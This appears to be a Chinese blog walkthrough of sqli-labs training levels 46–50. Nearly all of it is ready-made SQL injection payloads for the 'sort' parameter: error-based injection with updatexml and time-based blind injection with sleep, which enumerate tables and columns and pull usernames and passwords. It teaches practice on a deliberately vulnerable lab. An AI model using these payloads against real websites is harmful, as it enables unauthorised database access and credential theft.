sqli-labs靶场通关攻略 46-50

主页有sqli-labs靶场通关攻略 1-45

第四六关 less-46

步骤一:利用报错注入查询库

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

步骤二:查询表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

步骤三:查看user表中列名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

步骤四:查询数据

?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

第四七关 less-47

步骤一:利用报错注入查询库

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

步骤二:查询表名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --+

步骤三:查看user表中列名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

步骤四:查询数据

?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1) --+

第四八关 less-48

步骤一:利用时间盲注查询数据库

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

得出数据库长度为'security'

步骤二:查询表名

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

第一个表名为'email'

第四九关 less-49

步骤一:利用时间盲注查询数据库

?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

得出数据库长度为'security'

步骤二:查询表名

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

?sort=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

第一个表名为'email'

第五十关 less-50

步骤一:利用报错注入查询库

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

步骤二:查询表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

步骤三:查看user表中列名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

步骤四:查询数据

?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

相关推荐
月光水岸New1 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6751 小时前
数据库基础1
数据库
我爱松子鱼1 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
Galeoto3 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)3 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231113 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白3 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码3 小时前
【SQL实验】触发器
数据库·笔记·sql